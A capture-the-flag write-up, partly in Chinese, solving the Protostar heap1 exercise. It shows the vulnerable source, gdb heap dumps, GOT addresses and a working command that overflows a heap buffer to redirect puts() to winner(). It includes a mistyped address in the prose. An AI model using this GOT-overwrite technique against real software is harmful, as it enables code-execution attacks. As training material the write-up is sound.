About
This level takes a look at code flow hijacking in data overwrite cases.
This level is at /opt/protostar/bin/heap1
Source code
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <sys/types.h> struct internet { int priority; char *name; }; void winner() { printf("and we have a winner @ %d\n", time(NULL)); } int main(int argc, char **argv) { struct internet *i1, *i2, *i3; i1 = malloc(sizeof(struct internet)); i1->priority = 1; i1->name = malloc(8); i2 = malloc(sizeof(struct internet)); i2->priority = 2; i2->name = malloc(8); strcpy(i1->name, argv[1]); strcpy(i2->name, argv[2]); printf("and that's a wrap folks!\n"); }
这里跟上题差不多,都是通过strcpy来修改数据,但是这里没有上一题的f0>fp()执行语句。先执行./Heap1 AAAA BBBB看看内存结构是怎么构成的:
(gdb) x/20x 0x804a000 0x804a000: 0x00000000 0x00000011 0x00000001 0x0804a018 0x804a010: 0x00000000 0x00000011 0x41414141 0x00000000 0x804a020: 0x00000000 0x00000011 0x00000002 0x0804a038 0x804a030: 0x00000000 0x00000011 0x00000000 0x00000000 0x804a040: 0x00000000 0x00020fc1 0x00000000 0x00000000 (gdb) n 34 in heap1/heap1.c (gdb) x/20x 0x804a000 0x804a000: 0x00000000 0x00000011 0x00000001 0x0804a018 0x804a010: 0x00000000 0x00000011 0x41414141 0x00000000 0x804a020: 0x00000000 0x00000011 0x00000002 0x0804a038 0x804a030: 0x00000000 0x00000011 0x42424242 0x00000000 0x804a040: 0x00000000 0x00020fc1 0x00000000 0x00000000
可以看到输入的AAAA地址是0X08041018,BBBB地址是0x08041038。可以得到strcpy把argv[2]的内容拷贝到地址为0x0804a038,即离argv[1]后20字节的地址里。
通过查资料获知puts()将被调用
查找puts()的地址。。。。
user@protostar:/opt/protostar/bin$ objdump -R ./heap1 ./heap1: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 0804974c R_386_GLOB_DAT __gmon_start__ 0804975c R_386_JUMP_SLOT __gmon_start__ 08049760 R_386_JUMP_SLOT __libc_start_main 08049764 R_386_JUMP_SLOT strcpy 08049768 R_386_JUMP_SLOT printf 0804976c R_386_JUMP_SLOT time 08049770 R_386_JUMP_SLOT malloc 08049774 R_386_JUMP_SLOT puts
查找winner()的地址:
(gdb) b *main Breakpoint 1 at 0x80484b9: file heap1/heap1.c, line 20. (gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /opt/protostar/bin/heap1 `python -c 'print "a"*20+"\x74\x97\x04\x08"'` `python -c 'print "\xgh\xef\xcd\xab"'` ValueError: invalid \x escape Breakpoint 1, main (argc=2, argv=0xbffff844) at heap1/heap1.c:20 20 heap1/heap1.c: No such file or directory. in heap1/heap1.c (gdb) p winner $1 = {void (void)} 0x8048494 <winner>
故可以得到:
user@protostar:/opt/protostar/bin$ ./heap1 `python -c 'print "a"*20+"\x74\x97\x04\x08"'` `python -c 'print "\x94\x84\x04\x08"'` and we have a winner @ 1366068846